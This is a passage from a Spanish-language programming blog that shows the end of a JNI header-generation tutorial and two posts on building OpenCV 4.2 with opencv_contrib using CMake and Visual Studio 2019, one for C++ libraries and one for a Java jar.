rel="nofollow" target="_blank">de esta web</a>, que se resumen en abrir la consola en la ubicación de la dll e ingresar el siguiente comando:</p><p><span style="font-family: courier;">"C:\Program Files\Java\jdk1.8.0_231\bin\javah" -o jniSample.h -jni -classpath "D:\JNISample\JNISample1\build\classes" "jnisample1.JNISample1"</span></p><p>De forma más genérica tiene la siguiente forma:</p><p><span style="font-family: courier;">"ruta a mi instalacion de java donde está javah" -o nombre_de_la_dll.h -jni -classpath "ruta de mi proyecto\build\classes" "paquete.clase"</span><br /></p><p>Al presionar Enter, y si todo sale bien no debe decirnos nada, sólo debe mostrarnos mensajes en caso de un error. <br /></p><p>Y con esto ya tenemos nuestro archivo de cabecera .h el cual se debe reemplazar en el proyecto de Visual Studio. En mi caso javah me generó esto:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNS81GMUD7JQvdOAOkz5v7xkV34pmqDtilT1HYXUFIEEIY8bO8D4LF4CtU6UwOwS9nSXFazJLqeVW7iZXNfS-lZ7vFClmcnZghlXYWpI8l_-ep7MbFKG441B79M-FNh494_zVJc63-AQE/s578/jni2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="428" data-original-width="578" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNS81GMUD7JQvdOAOkz5v7xkV34pmqDtilT1HYXUFIEEIY8bO8D4LF4CtU6UwOwS9nSXFazJLqeVW7iZXNfS-lZ7vFClmcnZghlXYWpI8l_-ep7MbFKG441B79M-FNh494_zVJc63-AQE/s16000/jni2.png" /></a></div> <p></p><p>Simplemente copio todo este contenido y lo reemplazo en mi archivo jniSample.h de mi proyecto de Visual Studio.</p><p>A continuación se le cambia el nombre a la función original en dllmain.cpp.</p><p>Inicialmente estaba así:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTaVHjHtMqf-T0OWm6Ou7gpuZUSgmd3ypkfEcJyx4Fhth20B9NBKqGkn1g6RVkbxDQDydTvVLq88QnhPzOLZpY7ozjPqXijsoEdc1FiHG8wKCW-mWLN0Fn-R78UIjep-YombN3hJiVB5o/s766/jni3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="766" data-original-width="612" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTaVHjHtMqf-T0OWm6Ou7gpuZUSgmd3ypkfEcJyx4Fhth20B9NBKqGkn1g6RVkbxDQDydTvVLq88QnhPzOLZpY7ozjPqXijsoEdc1FiHG8wKCW-mWLN0Fn-R78UIjep-YombN3hJiVB5o/s16000/jni3.png" /></a></div><p>Y ahora debo modificarla cambiándole el nombre que aparece en el archivo .h:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb8PfI-vh_wsN9spA5K2L4QsKlnea7TXz1ESKyzAFJhivz6_6ehnTXSWAU0Yi-ZRt6RzNFP0aQhpUmFE3v2PNDTSSdKU6mllG5CX3-AuvheIxmSDShlFjlOxPUwf2RgY9bgpVZTKjCGXM/s766/jni4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="766" data-original-width="638" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb8PfI-vh_wsN9spA5K2L4QsKlnea7TXz1ESKyzAFJhivz6_6ehnTXSWAU0Yi-ZRt6RzNFP0aQhpUmFE3v2PNDTSSdKU6mllG5CX3-AuvheIxmSDShlFjlOxPUwf2RgY9bgpVZTKjCGXM/s16000/jni4.png" /></a></div><p>Luego compilo todo y reemplazo la dll resultante por la que está en la carpeta del proyecto de Netbeans.</p><p>Y eso es todo:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht0HP2BfjX8Qt6rUls1HqSPn9B7WUQVKUYqb9uRPums7taMS7bpVcEP7x4WTbHaxkLMw8GnDPgEqQ3iXiNVUi1XomytBfI9-FYC2HOVx0tpcv4wKzbM7CnXDy2FHMN5eEYZpTutZYbLhM/s1026/jni7.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="666" data-original-width="1026" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht0HP2BfjX8Qt6rUls1HqSPn9B7WUQVKUYqb9uRPums7taMS7bpVcEP7x4WTbHaxkLMw8GnDPgEqQ3iXiNVUi1XomytBfI9-FYC2HOVx0tpcv4wKzbM7CnXDy2FHMN5eEYZpTutZYbLhM/s16000/jni7.png" /></a></div><br /><p><a href="https://drive.google.com/file/d/1Rpktgd83IsWLlAS15VL2YJhV-1NnEk9o/view?usp=sharing" rel="nofollow" target="_blank">Los dos proyectos se pueden descargar de este enlace. El proyecto de Visual Studio es para la versión 2019.<br /></a></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-29013499893311805842021-01-25T08:16:00.005-08:002022-04-28T10:31:34.013-07:00Compilando las librerías Opencv 4.2 y Opencv_contrib con CMake y Visual Studio 2019 para Java<p><a href="https://programacionamartillazos.blogspot.com/2020/12/compilando-las-librerias-opencv-42-y.html" rel="nofollow" target="_blank">Continuando con el tutorial de OpenCV</a>, esta vez toca generar el jar para poder usarlo desde java.</p><p>Yo tengo instalado JDK 8. Mi variable de entorno JAVA_HOME está seteada como C:\Program Files\Java\jdk1.8.0_231. Esta variable de entorno es importante para que CMake pueda hallar la ruta de instalación de java.<br /></p><p>Al crear el jar para OpenCV, la diferencia está en algunas opciones al compilar con CMake. Lo bueno de Opencv es que se puede recompilar tantas veces como queramos, y tener una compilación distinta en carpetas diferentes. En este ejemplo, estoy enviando mi compilación para Java a la carpeta D:\opencv2.</p><p></p><p>Primero: <a href="https://ant.apache.org/" rel="nofollow" target="_blank">descargar y descomprimir Apache Ant</a>. Ant no se instala, sólo se descomprime. OpenCV lo necesita para generar el jar.<br /></p><p>Añadir a la variable de entorno Path la ruta a donde hemos descomprimido Ant, en mi caso es C:\apache-ant-1.10.9\bin</p><p> </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimqq5cgRcl6OgbwhBkttQUZRlEjo-V5A2U8dMpwrr7Fz29_GgXBvGcGF-7Csi29LsKK5_PtkQNMQaHK7e6GTzHGU0KLMowXSiig8DePjQ4cZ_ohh6uW6kn9FYEYDpPzXxTDrFDumyApX0_9fBoSpLu3j9ytXSbLv9i3dee3hsmUc3FtowGO1KRsAMh/s588/Sin%20t%C3%ADtulo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="588" data-original-width="500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimqq5cgRcl6OgbwhBkttQUZRlEjo-V5A2U8dMpwrr7Fz29_GgXBvGcGF-7Csi29LsKK5_PtkQNMQaHK7e6GTzHGU0KLMowXSiig8DePjQ4cZ_ohh6uW6kn9FYEYDpPzXxTDrFDumyApX0_9fBoSpLu3j9ytXSbLv9i3dee3hsmUc3FtowGO1KRsAMh/s16000/Sin%20t%C3%ADtulo.png" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><p></p><p>Reiniciar el sistema. </p><p>Luego de configurar CMake, debe de poder reconocer las rutas de java y de ant:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggDPm0GbH2h-o6ObDHKbjIYU-deMDo7qwP0gTeEUVrqVHOl4l5T6eZJXUwlzh8E8rJ_uGhiVNsPnYFp4pzGZj8zs65MNfriADNPQdyKujZqASCwrZp5Q43oSxUKTmqdvL-5UCyIcy1ZhM/s674/opencv_7.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="96" data-original-width="674" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggDPm0GbH2h-o6ObDHKbjIYU-deMDo7qwP0gTeEUVrqVHOl4l5T6eZJXUwlzh8E8rJ_uGhiVNsPnYFp4pzGZj8zs65MNfriADNPQdyKujZqASCwrZp5Q43oSxUKTmqdvL-5UCyIcy1ZhM/s16000/opencv_7.png" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLCbXscYvlNAazftjyy5p1N_rpV7-fvQ2wmLkfBtVv3tKzLq5S2WFnXuI_AduJzMMEzXOo57NvvX3otpXCG9T18iYRm3p37mz5BqYOY9DczHv7m_oy9mf1CKOh3S_dL7_5fwroMs5PCTM/s476/Captura3.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="70" data-original-width="476" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLCbXscYvlNAazftjyy5p1N_rpV7-fvQ2wmLkfBtVv3tKzLq5S2WFnXuI_AduJzMMEzXOo57NvvX3otpXCG9T18iYRm3p37mz5BqYOY9DczHv7m_oy9mf1CKOh3S_dL7_5fwroMs5PCTM/s16000/Captura3.PNG" /></a></div><p></p><p> </p><p>A continuación, se deben escoger las siguientes opciones en CMake:</p><p>Build_Java: <br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdkq0dax-gOzzLqYAsqqRSNbViMe5bgQqImiFZHHG8ByRiuZTFklvv7AlSbjKD8TxpwKgO2tt6EEE3BM1FK8Fggpp__e25TImp6Jc3D5W0xHX7Mi6T7riDPdr0yoHJiZw0pjTWP9bxUvA/s640/opencv_4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="640" data-original-width="550" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdkq0dax-gOzzLqYAsqqRSNbViMe5bgQqImiFZHHG8ByRiuZTFklvv7AlSbjKD8TxpwKgO2tt6EEE3BM1FK8Fggpp__e25TImp6Jc3D5W0xHX7Mi6T7riDPdr0yoHJiZw0pjTWP9bxUvA/s16000/opencv_4.png" /></a></div><br /><p></p><p>BUILD_FAT_JAVA_LIB:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8LPfmID6SqUFoUL5v64Su6RC4Gta3Boi4T8QGhNeqiotx1LRDr-0c04Av7tMVmOi0Vwc7ajaOS4BtSxWm9lKfGpcBt-Vb-axfwZXN9IxdubjSBgHV8biA3x_Gu_i7sYFJgLeQQsvcaD4/s585/opencv_6.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="94" data-original-width="585" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8LPfmID6SqUFoUL5v64Su6RC4Gta3Boi4T8QGhNeqiotx1LRDr-0c04Av7tMVmOi0Vwc7ajaOS4BtSxWm9lKfGpcBt-Vb-axfwZXN9IxdubjSBgHV8biA3x_Gu_i7sYFJgLeQQsvcaD4/s16000/opencv_6.png" /></a></div><br /><p>Si se desea compilar con opencv-contrib se deben elegir estas opciones:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJgv0t7bfYuh7aaJHK7mH8hcjnlTwhMD6DNUq9TW1Wui0YoP_wWZtR0EaNfBfM0h559o2PiStvS8iOqmx3uOQ-aXpSAD5NBPqVxDrT3O1HUpbqA2g3AbPlmBDbCvuyZZudar6KmIxds0g/s793/opencv_5.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="115" data-original-width="793" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJgv0t7bfYuh7aaJHK7mH8hcjnlTwhMD6DNUq9TW1Wui0YoP_wWZtR0EaNfBfM0h559o2PiStvS8iOqmx3uOQ-aXpSAD5NBPqVxDrT3O1HUpbqA2g3AbPlmBDbCvuyZZudar6KmIxds0g/s16000/opencv_5.png" /></a></div><p></p><p>Y se presiona Generate. Esto creará los proyectos de Visual Studio para crear las librerías y el jar. Se debe compilar como Release los proyectos All_Build e Install <a href="https://programacionamartillazos.blogspot.com/2020/12/compilando-las-librerias-opencv-42-y.html" rel="nofollow" target="_blank">como explico en el tutorial anterior</a>.</p><p>Y me pasó que no me generó el jar.</p><p>Debía aparecer en la carpeta D:\opencv2\bin o en D:\opencv2\install\java. En este caso se debe buscar los proyectos gen_opencv_java_source y opencv_java_jar, y compilarlos primero gen_opencv_java_source y luego opencv_java_jar, ambos como release:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcZlH9a61PACFGizoG0VMfePKyIygolEPldI6m_8X0_HXTCNPdt9BoBORVyy0xgBVdJ7BVryNHsnzQVxENiqwmkDwFCCs-YfbvWe7PQ8V-6ysqYGLFJIANrvF57Ow23mTQECqtqQy69XI/s514/opencv_9.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="514" data-original-width="443" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcZlH9a61PACFGizoG0VMfePKyIygolEPldI6m_8X0_HXTCNPdt9BoBORVyy0xgBVdJ7BVryNHsnzQVxENiqwmkDwFCCs-YfbvWe7PQ8V-6ysqYGLFJIANrvF57Ow23mTQECqtqQy69XI/s16000/opencv_9.png" /></a></div><br /> Necesité más de un intento para poder generar mi jar.<p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggJuSgwFBp3o19pCkJZGDQNg7Co9xVetEpRScCBdBqgh6zZivWMnOMxBxzj6haJxyeliAqVY3jRbi8PFjOPBUybZZJapjcIEfLezBDOFqAw01rdJo7AbL6V0OckbOQmqOwNzLkHXUbOI4/s830/Captura1.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="185" data-original-width="830" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggJuSgwFBp3o19pCkJZGDQNg7Co9xVetEpRScCBdBqgh6zZivWMnOMxBxzj6haJxyeliAqVY3jRbi8PFjOPBUybZZJapjcIEfLezBDOFqAw01rdJo7AbL6V0OckbOQmqOwNzLkHXUbOI4/s16000/Captura1.PNG" /></a></div><p>El jar y los archivos lib y dll deben estar en la misma carpeta, yo prefiero ponerlos en la carpeta de mi proyecto. Para usar este jar basta añadirlo como librería (yo uso netbeans):</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidEA7o6qOhF1Y1roFPNKquILMPOYpyOAOeKvf1bR9Jqzac52u0F7EiwCuTCTkMPtkydiPXoUP7QCX0ocp1xJqofi2kcbhNUIRKT7Hl8i3Ls-HBuLBdldq3oIbhGtpPdSSZijS194XLQDQ/s285/Captura2.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="270" data-original-width="285" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidEA7o6qOhF1Y1roFPNKquILMPOYpyOAOeKvf1bR9Jqzac52u0F7EiwCuTCTkMPtkydiPXoUP7QCX0ocp1xJqofi2kcbhNUIRKT7Hl8i3Ls-HBuLBdldq3oIbhGtpPdSSZijS194XLQDQ/s16000/Captura2.PNG" /></a></div><p><br /></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-87787570982870562352020-12-22T14:30:00.004-08:002022-04-28T10:33:46.201-07:00Compilando las librerías Opencv 4.2 y Opencv_contrib con CMake y Visual Studio 2019<p>Opencv viene de dos formas: la librería ya compilada que contiene funciones libres y probadas de visión por computadora, y aparte las funciones de opencv_contrib, las cuales no tienen licencias 100% libres o aún son experimentales. Por ello opencv_contrib sólo se distribuye en código fuente que debe compilarse para poder usarlas.</p><p><a href="https://cv-tricks.com/how-to/installation-of-opencv-4-1-0-in-windows-10-from-source/" rel="nofollow" target="_blank">El mejor tutorial que he encontrado para generar los binarios de opencv_contrib es este</a>.</p><p>Primero nos vamos a <a href="https://opencv.org/releases/">https://opencv.org/releases/</a> y bajamos las fuentes "sources" de la versión que queremos, yo escogí la 4.2 por ninguna razón en especial.</p><p>Luego nos vamos a <a href="https://github.com/opencv/opencv_contrib/releases/tag/4.2.0">https://github.com/opencv/opencv_contrib/releases/tag/4.2.0</a> y descargamos las fuentes de opencv_contrib (las versiones de ambos deben ser las mismas). La lista de versiones de opencv_contrib <a href="https://github.com/opencv/opencv_contrib/releases" rel="nofollow" target="_blank">está aquí</a>.</p><p>Luego descomprimimos ambos archivos en la misma carpeta, yo escogí D:</p><p>Además hay que crear una carpeta a dónde irán nuestras librerías ya compiladas, yo la llamé opencv. <br /></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj49eB6YlrCu0vZJXCyQL3V__GwqB7kc1pYYCDVX0UpBHRd0i0OnS2sbjiqdBrp_83nKn0148TlaYd5etIAoA4kdrZ42t3fDUklYPI29QYz3KgtFbR4CO67QV5j9IqcFybd-Rmx2Q58h9k/s418/Captura0.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="272" data-original-width="418" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj49eB6YlrCu0vZJXCyQL3V__GwqB7kc1pYYCDVX0UpBHRd0i0OnS2sbjiqdBrp_83nKn0148TlaYd5etIAoA4kdrZ42t3fDUklYPI29QYz3KgtFbR4CO67QV5j9IqcFybd-Rmx2Q58h9k/s16000/Captura0.PNG" /></a></div><p></p><br /><p>Luego descargamos e instalamos<a href="https://cmake.org/" rel="nofollow" target="_blank"> la última versión de CMake</a>. Yo escogí el instalador msi para Windows. <br /></p><p>Ejecutamos CMake, ingresamos la carpeta donde están los códigos fuente opencv (en mi caso es opencv-4.2.0) y la carpeta de destino a donde irán los binarios, luego presionamos el botón Configure:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcnmyt6RLihVZ6a4xaQdlJ8XmQtrjpatJQEyKMwra9IhayXSp_K9Km-Eu2xS4XCll8CvFKTAqjPf0VkVXWzgcsEslfQ3_JFnaEz4YCOKLOsNn4s6L_g_yVvHH7hpUeSFfOG5BTdxcB8LY/s583/opencv_11.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="583" data-original-width="500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcnmyt6RLihVZ6a4xaQdlJ8XmQtrjpatJQEyKMwra9IhayXSp_K9Km-Eu2xS4XCll8CvFKTAqjPf0VkVXWzgcsEslfQ3_JFnaEz4YCOKLOsNn4s6L_g_yVvHH7hpUeSFfOG5BTdxcB8LY/s16000/opencv_11.png" /></a></div><p></p><p>Aquí podemos escoger si quremos que se genere la solución para Visual Studio. Yo escogí la versión 2019, a continuación se presiona Finish. Yo suelo presionar una vez más Configure después de este paso, pero puede que no sea necesario. Una vez configurado, Cmake nos mostrará las opciones de configuración:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfniay6K9ubR1Tk-EtYtgqAhXVQf5z2MEO4lkfIsN6jgtBgjgklmICNK6ur2RHzzKWCnvnMBrIQjplpH-jMoilwxAXx5a2mCO4cAtPSLtxTWV8ryl3k9L1oAvTYCz4wTwggeDc9E4yIkw/s600/opencv_31.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="491" data-original-width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfniay6K9ubR1Tk-EtYtgqAhXVQf5z2MEO4lkfIsN6jgtBgjgklmICNK6ur2RHzzKWCnvnMBrIQjplpH-jMoilwxAXx5a2mCO4cAtPSLtxTWV8ryl3k9L1oAvTYCz4wTwggeDc9E4yIkw/s16000/opencv_31.png" /></a></div><br /><p>Para compilar con opencv_contrib buscamos las siguientes opciones:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKE9qHL3_GzMTAiW21st073Fckh9Ow9R_blqVf81ecg8_RVDACre2Avq2onpYCGNwAfjRFAQynLI4QcftlKK2NJdmvAdec4M-o2l322FOmhldpCT-v4WkHJN7Ts7VmVS6Emf_tdKqTXcU/s793/opencv_5.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="115" data-original-width="793" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKE9qHL3_GzMTAiW21st073Fckh9Ow9R_blqVf81ecg8_RVDACre2Avq2onpYCGNwAfjRFAQynLI4QcftlKK2NJdmvAdec4M-o2l322FOmhldpCT-v4WkHJN7Ts7VmVS6Emf_tdKqTXcU/s16000/opencv_5.png" /></a></div> <p></p><p>OPENCV_ENABLE_NONFREE debe estar seleccionado, y OPENCV_EXTRA_MODULES_PATH debe tener la ruta de la carpeta modules dentro de la carpeta donde hemos descomprimido opencv_contrib.</p><p>A continuación presionamos Generate. Este paso puede tomar algunos minutos. En la carpeta definida como el destino de los binarios aparecerá un archivo llamado OpenCV.sln que debemos abrir con la versión de Visual Studio elegida:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRCYwtOec9R-6-SmFtwNk91hNK9vAsOqzkem7sFJlRTyqZfTWAqs_VQsV9l9C8aoWTd6XJIMGSGCpLhX_njiW6sBl5eEs3S8ASGpNw9VUczQv8mWxRXyOta6YhpXEBI4paVfWPatG1qzU/s433/opencv_32.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="381" data-original-width="433" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRCYwtOec9R-6-SmFtwNk91hNK9vAsOqzkem7sFJlRTyqZfTWAqs_VQsV9l9C8aoWTd6XJIMGSGCpLhX_njiW6sBl5eEs3S8ASGpNw9VUczQv8mWxRXyOta6YhpXEBI4paVfWPatG1qzU/s16000/opencv_32.png" /></a></div><br /><p>En Visual Studio elegimos Release, la plataforma a la que queremos compilar (yo puse x64), y tal y como dice el tutorial, compilar primero el proyecto donde dice BUILD y luego INSTALL:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIbVp0bP-512GPf-J-FvzVSogzOcN_L7OEzUvRSymuz44s4f00TCAXQHj7LEFM5tK3HdYvPA2_6VYkFEDC3rjJIHb1xjaa6_gEnQHm1S75i12UiIVgEZ5ZVigjBRObpKJxFvSkgN_ZCgA/s559/opencv_33.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="428" data-original-width="559" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIbVp0bP-512GPf-J-FvzVSogzOcN_L7OEzUvRSymuz44s4f00TCAXQHj7LEFM5tK3HdYvPA2_6VYkFEDC3rjJIHb1xjaa6_gEnQHm1S75i12UiIVgEZ5ZVigjBRObpKJxFvSkgN_ZCgA/s16000/opencv_33.png" /></a></div><p></p><p style="text-align: center;">Esta parte puede demorar un buen rato.</p><p>En mi caso los binarios se fueron a las carpetas D:\opencv\install\x64\vc16\bin para las dlls y D:\opencv\install\x64\vc16\lib para las librerías estáticas. Antes de poder usarlas en nuestros proyectos de Visual Studio hay que setearlas en la variable de entorno Path e INCLUDE.</p><p>En Path van las ubicaciones de las librerías:<br /></p><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyP3CjJsvt6xf4Cv164lx5tAM13rbHVWE3M9L3osXK9-THcE5sAnhkUF3Ei3AuO69I_-5vdrVN3b9eQO4mDIP_CAUgeXZy-mYlzzDwC58cYKrqCsX-776zTFEBLV5qvEzWjIwG0NofMzI/s551/opencv_2.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="551" data-original-width="500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyP3CjJsvt6xf4Cv164lx5tAM13rbHVWE3M9L3osXK9-THcE5sAnhkUF3Ei3AuO69I_-5vdrVN3b9eQO4mDIP_CAUgeXZy-mYlzzDwC58cYKrqCsX-776zTFEBLV5qvEzWjIwG0NofMzI/s16000/opencv_2.PNG" /></a></div><p></p><p><br /></p><p>INCLUDE debe crearse en caso de no existir, contiene la ruta a donde están los archivos de cabecera .h y .hpp. En mi caso se fueron a D:\opencv\install\include:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaT20jUBnH9tPrZkb6fxJ6J1gHRHNBknmM5e3dY3z0C82p-fys8NEpwHpGBGRUrvkRmE4b6D1e4lGHGi8SclbQ0FF1oxF-eIJSXjiX-XT6WCZBV7M5WPhTzMPUn4_7WRkoW6pKiNJ3-v46qjYFS46iyoRaoPNT18eMzTkIaXky55R_3LPEoZ1IHurJ/s430/Sin%20t%C3%ADtulo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="155" data-original-width="430" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaT20jUBnH9tPrZkb6fxJ6J1gHRHNBknmM5e3dY3z0C82p-fys8NEpwHpGBGRUrvkRmE4b6D1e4lGHGi8SclbQ0FF1oxF-eIJSXjiX-XT6WCZBV7M5WPhTzMPUn4_7WRkoW6pKiNJ3-v46qjYFS46iyoRaoPNT18eMzTkIaXky55R_3LPEoZ1IHurJ/s16000/Sin%20t%C3%ADtulo.png" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><span style="text-align: left;">En Windows 10 no estoy segura si es necesario reiniciar el equipo, pero por precaución es mejor reiniciar.</span></div><p>Y ahora a configurar el proyecto de Visual Studio. <a href="http://aprendiendoingenieria.es/instalar-opencv-con-visual-studio-2017/" rel="nofollow" target="_blank">El mejor tutorial que encontré es éste,</a> pero no incluye las librerías opencv_contrib, pero los pasos son muy parecidos:</p><p>Ponemos el proyecto en Release y en la misma plataforma para la que fue compilada opencv (x64 en mi caso).</p><p>Configuramos lo siguiente en las propiedades del proyecto (en lugar de elegir Debug o Release, yo escogí Todas las Configuraciones):</p><p>General->Versión del SDK de Windows Última instalada (en mi caso, estoy en Windows 10 con Visual Studio 2019, mi versión es la 10.0)</p><p>En la opción Directorios de VC++ ponemos las siguientes rutas:</p><p>Directorios de archivos de inclusión: Donde se ubican los archivos de cabecera, es la misma ruta que la variable de entorno INCLUDE</p><p>Directorios de archivos de bibliotecas: Donde se ubican los archivos de librerías estáticas. Es la misma que la ingresada en la variable de entorno Path. <br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAryRwRXC9hdCgxu7EukMRMfuvCf_p6gV_XftxZDH2MZZ-Fwm0COLr0dR-mzvVMPdg2OeiQnRupjmzSbmWqGBSUC2f2NtWvPIm6Sz79xSdHselN07noG-FyTRsFEPl4_koZ8y2Xuz2RSg/s600/opencv_35.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="397" data-original-width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAryRwRXC9hdCgxu7EukMRMfuvCf_p6gV_XftxZDH2MZZ-Fwm0COLr0dR-mzvVMPdg2OeiQnRupjmzSbmWqGBSUC2f2NtWvPIm6Sz79xSdHselN07noG-FyTRsFEPl4_koZ8y2Xuz2RSg/s16000/opencv_35.png" /></a></div><br /><p>Luego en la opción VC++ -> General ingresamos en Directorios de Inclusión Adicionales la ruta de la variable INCLUDE:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipkKRDOMLmt3pXsrjdK3KrNlnKuNNK3eTJLPkaYoc7xyJ-pYz5Vq3P5BhOJ0oqTOC7vlxkYMhd9Jp5B3TJBfNypyzuLox8rygRM3jRI0cqIQmXW26SjoV4aoSPcnmzxlHUVl6LQuBqbbE/s600/opencv_36.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="355" data-original-width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipkKRDOMLmt3pXsrjdK3KrNlnKuNNK3eTJLPkaYoc7xyJ-pYz5Vq3P5BhOJ0oqTOC7vlxkYMhd9Jp5B3TJBfNypyzuLox8rygRM3jRI0cqIQmXW26SjoV4aoSPcnmzxlHUVl6LQuBqbbE/s16000/opencv_36.png" /></a></div><br /><p>En Vinculador -> General ponemos en Directorios de Bibliotecas Adicionales la ruta de la variable Path donde están las librerías estáticas:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq3JwKbRvUl8FNSzuV5qNDesjGNl3UAClrdhDvxxi2Wh4c9DShjTkCTNaOshGrpwcDaSptQ3aLe68RrzVPRLMkWX4PSOJwo_rO_Q95MqhH5Ue5qyHnTVf7I5TxP_34mipl580KC80Eu6k/s600/opencv_37.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="356" data-original-width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq3JwKbRvUl8FNSzuV5qNDesjGNl3UAClrdhDvxxi2Wh4c9DShjTkCTNaOshGrpwcDaSptQ3aLe68RrzVPRLMkWX4PSOJwo_rO_Q95MqhH5Ue5qyHnTVf7I5TxP_34mipl580KC80Eu6k/s16000/opencv_37.png" /></a></div><p> 